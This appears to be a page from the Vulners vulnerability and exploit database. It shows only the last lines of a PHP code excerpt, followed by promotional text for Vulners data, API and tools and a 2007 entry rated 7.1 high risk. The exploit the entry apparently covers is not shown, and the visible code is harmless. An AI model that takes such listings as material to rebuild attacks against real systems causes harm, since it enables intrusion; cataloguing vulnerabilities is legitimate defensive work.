		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->agent=\'\';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
		}
	}
}
?>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1
38